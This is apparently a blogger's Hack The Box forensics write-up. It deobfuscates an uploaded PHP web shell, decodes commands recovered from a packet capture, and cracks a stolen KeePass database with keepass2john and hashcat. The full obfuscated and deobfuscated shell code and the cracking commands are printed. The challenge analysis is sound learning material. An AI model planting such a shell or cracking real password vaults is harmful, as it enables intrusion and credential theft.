Hack The Box Writeup — Obscure

11 min readOct 22, 2020


For after a long period of not having any idea of doing any CTF challenge, I come back and try a new (for me) category, forensics. For me, this category is exciting. The point of forensics is to analyze in order to gain any knowledge about the past incident to understand the root cause or the impact of the incident. This particular challenge is interesting because I can say this is my first time 40 points challenge. So, Let’s go!

Note: As always, I always include the way I think of the solution, not just “magically” showing the solution.

Challenge Information

Challenge Information

You can read the challenge below.

An attacker has found a vulnerability in our web server that allows arbitrary PHP file upload in our Apache server. Suchlike, the hacker has uploaded a what seems to be like an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however, we need your help in analyzing and identifying commands the attacker wrote to understand what was compromised.

Okay, so the scenario is, there is a web page built using PHP that has an upload feature. The upload feature is vulnerable to arbitrary file upload and got exploited. The uploaded file contains a reverse shell script. The script name is support.php. The script itself is obfuscated, pretty hard to be understood at a glance. The security team had dumped the log file and gave it to us. The question is, what is compromised.

There is a zip attached that contains support.php file and packet capture (pcap) file. Let’s open it.

The code below is the support.php content.

<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>

Because this is obfuscated, we need to deobfuscate. We do not need any tools to do this, just do it one by one, line by line. There is variable $v, $P, $d, $b, $N, $c, $u, and $x. $v, $P, $d, $B, and $c contains a string. $N, $u, $x holds the return value for each called function.

If we look at $N, it calls str_replace that replace “FD” with none or in other words, remove “FD” from the string given, easy.

$N= 'create_function';

Now if we look at $u, it calls str_replace that remove “u)” from the concatenated string of $V, $d, $P, $c, and $B.

$V='$k="80e32263";$kh="6f8af44abea0";$kf="351039f4a7b5";$p="0UlYyJHG87EJqEz6";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}';

Still, confusing, right? let’s break down the string using indentation.

function x($t,$k){
return $o;

Okay, this is the better one, we can analyze it quickly. So, the script has 4 variables, $k, $kh, $kf, $p. There is a function that doing xor bitwise operation which takes 2 strings as arguments. Then, we see an if statement that checks if the input is matched with the regex pattern, then put the matched strings into $m. If there is any match, the script then takes the second string from $m ($m is an array that contains matched strings), decodes it, xors it, uncompresses it, and executes it with eval(). Since we know that this script is working (because the incident has happened) we assume the command works, and therefore, the output is placed inside $o, and the script compresses it, xors it, encodes it, and puts in $r. And finally, it prints the concatenation of $p,$kh,$r,$kf.

Now, most of you may be thinking, how can I understand the flow of the decoding until eval and encoding until the printing process. It was also my mistake when I tried this for the first time, so, it is okay to make mistake.

After a long time trying to understand this, I opened another file, the pcap file. This is the key where I finally realized my mistake. If we look at the script, we do not have to understand how the decoding-eval function works because we know it works (again because of the incident has happened). Because of that, we can be assured that there is a return value that is encoded, concatenated, and sent back to the user.

The encoded result is started with variable $p$kh and is closed with $kf. If we use the actual value, the result is something like.

0UlYyJHG87EJqEz66f8af44abea0(--encoded result--)351039f4a7b5

That concatenated string is sent back as a response to the user. In order to see that kind of communication, we can use our pcap file using wireshark.

Wireshark Display

A little tip from me, never look at the packet one by one, it does not give us any valuable information because they are packets. We need to see them as the whole response request format. In order to do that, you pick any packet given, right-click it, follow TCP stream.

Follow TCP Stream

Now this one looks better.

TCP Stream

There is a text box at the bottom right indicates the stream order, we can increment or decrement it to look at another communication. If you want to analyze the whole transaction between the user and the web server, you are very welcomed. I also did the analysis to understand what has happened. But the point is not there so I am gonna skip the analysis process.

Okay, so what are we looking for? The hacker uploaded an arbitrary file and in order to use that file, the hacker must call the file and supply them with data that is put inside the request body (because the script is using php://input).

php://input is a read-only stream that allows you to read raw data from the request body.

Therefore, we are looking for the request of support.php.

Stream 1

Okay, we encounter our first support.php request. Using this stream, if our analysis is correct, the server’s response upon the request is begun with 0UlYyJHG87EJqEz6351039f4a7b5 and ended with 351039f4a7b5. The response from stream 1 is,


…. INTERESTING! So this answers our needs. Now we remove all the leading and trailing string and it leaves us with a string.


I did not continue the stream analysis, I try to decode it first because we know the formula. I use their script to help me decode the string. Using the deobfuscated code before, we know that the formula below is used to encode the result. To decode it, we can reverse the process.

#code used for result encoding
with $o is the result of the execution
#code used for result decoding
with $encoded is the encoded string

I write that reverse process using PHP and run it on my local server. I call the script using postman.

Code used for result decoding
Postman result

Okay…………….. This is very interesting. This is the way. We know that it is the result of “id” command in linux. So the overall flow is like below,

the hacker called support.php and supplied the below string on the body

3Qve>.IXeOLC>[D&6f8af44abea0QKwu/Xr7GuFo50p4HuAZHBfnqhv7/+ccFfisfH4bYOSMRi0eGPgZuRd6SPsdGP//c+dVM7gnYSWvlINZmlWQGyDpzCowpzczRely/Q351039f4a7b5+'Qn/?>-e=ZU mx

I did not understand what was that but, after the whole decoding process and the command was executed, turns out it was “id” command and the result was,

uid=33(www-data) gid=33(www-data) groups=33(www-data)

After that, the result was encoded back, concatenated with those variables, and was sent back to the hacker.


The hacker then decoded it using their own script (outside the server) and understood that this is the result of the id command.

Okay, we know the flow, now we need to find another command because “id” alone is not that useful.

Back to the wireshark at stream 23,24,25, we find another similar pattern.

#response at stream 23
#response at stream 24
#response at stream 25

And we decode them one by one. You do not have to look at everything, you can decode it by yourself. I just want to show what I got.

#decoded result stream 23
total 24K
drwxr-xr-x 2 developer developer 4.0K May 21 20:37 .
drwxr-xr-x 3 root root 4.0K May 20 21:28 ..
-rw-r--r-- 1 developer developer 220 May 20 21:28 .bash_logout
-rw-r--r-- 1 developer developer 3.5K May 20 21:28 .bashrc
-rw-r--r-- 1 developer developer 675 May 20 21:28 .profile
-rw-r--r-- 1 developer developer 1.6K May 21 20:37 pwdb.kdbx
#decoded result stream 24
#decoded result stream 25

We can see that the whole commands are terminal commands. The first one is ID, ls -al, pwd, and …….. What is this? When I did this for the first time, I did not recognize the third one, I even thought maybe it was corrupted. But, in fact, it is not! We are supplied with the result of ls -al command and we can see there is a file that is really really really interesting, pwdb.kdbx.

pwdb.kdbx is a file for storing passwords securely. We need an application to open it and I found keepass2. I just googled “open kdbx file” and it gave me all information about keepass. I downloaded keepass2 and installed it on my computer.

The logic is this, if we assume that the string is the result of “cat pwdb.kdbx”, then this decoded result is the content of pwdb.kdbx just like on the server. Because of that, I made a file and put .kdbx extension and paste the decoded result inside it.

And when I opened it, it asked me for the master password.

Okay, I stuck again. Actually, I did not know why my first intention was not brute-forcing the master password (maybe because I hate brute-forcing so much. For me, it is a waste of time). My second alternative solution is to see the content pattern. What was I expecting is, maybe there is a kind of master password pattern inside the content. In order to know that, I created my own file.

Trial of Making KDBX File

… okay, it is not anywhere near like ours. This looks like a binary file that is opened in text editor. This was the point where I knew, I made a mistake. That decoded string was maybe double encoded, most probably double base64 encoding.

Because of that, I decoded once again using linux terminal, why? because if we use any online base64 decoder, we may find a different result because the decoded string will be out of printable character and can not be displayed. By using linux terminal, we can directly write the output to a file hence we get the complete decoded string. So I copied the decoded string and put it inside pass.txt and executed the script below.

cat pass.txt | base64 -d > pass.kdbx

Now I had the pass.kdbx file, I reopened it using keepass and it still asked for password.

.. Okay, I stuck again and I finally thought, this is the time that I need to brute-force the master password and hopefully, the password is listed inside the super rockyou.txt 14 million passwords. So in order to accomplish this, I googled, “brute force keepass password”. After a long process of reading articles, I found a great way by using keepass2john and hashcat.

The plan was as follows, I used keepass2john to get the hash value of the master password, and then I used the hashcat to brute-force the hash using the rockyou.txt dictionary.

First I generated the keepass hash

..\path\to\keepas2john\keepass2john.exe pass.kdbx > pass-hash.txt

I used hashcat with option -m 13400 for keepass brute-force, -a 0 for dictionary attack. After that, I executed the hashcat.

hashcat -m 13400 -a 0 pass-hash.txt rockyou.txt

encountered an error regarding the usage of BOM,

I fixed it by saving as a new file with UTF-8 (without BOM) encoding.

After that, I executed the hashcat again,

After that, I encountered an error saying “No devices found/left”. I read the notes above the error message and looked for the solution on the google but no clue, hence I used the recommendation by using the option “— force”

hashcat -m 13400 -a 0 hehehe-hash.txt rockyou.txt --force

Okay, the problem solved and we encountered again with another error stating that “No hashes loaded”.

I looked back to the file, and I recognized an anomaly which is the leading “pass:” that is not the part of the hash. I removed the leading “pass:” part.

I executed hashcat again and there is any error anymore but there is no password is shown.

I looked at the note, I thought I must add — show option.

hashcat -m 13400 -a 0 pass-hash.txt rockyou.txt --force --show

and, bingo! I got the password for the master file.

hashcat -m 13400 -a 0 pass-hash.txt rockyou.txt --force --show

I get back to the kdbx file and open the keepass again and try to use (cencored) as my master password.

and there you go my friend, welcome to the secret safe!


  1. I tried to understand how the command decoding works which I do not have to because the point is not to make the program executed successfully but rather to see the impact of the result.
  2. I was not being careful when I decide that the long string is the kdbx file content. I did not check how the original file looks like if we generate one.
The explanation for mistake 1


This challenge is really interesting because I need to use some tools and it requires me to connect all the dots from the given information. There is all I have, happy reading and for GOD be all the glory!.




A humble learner of everything around IT especially in IT implementation, governance, risk management, and cybersecurity.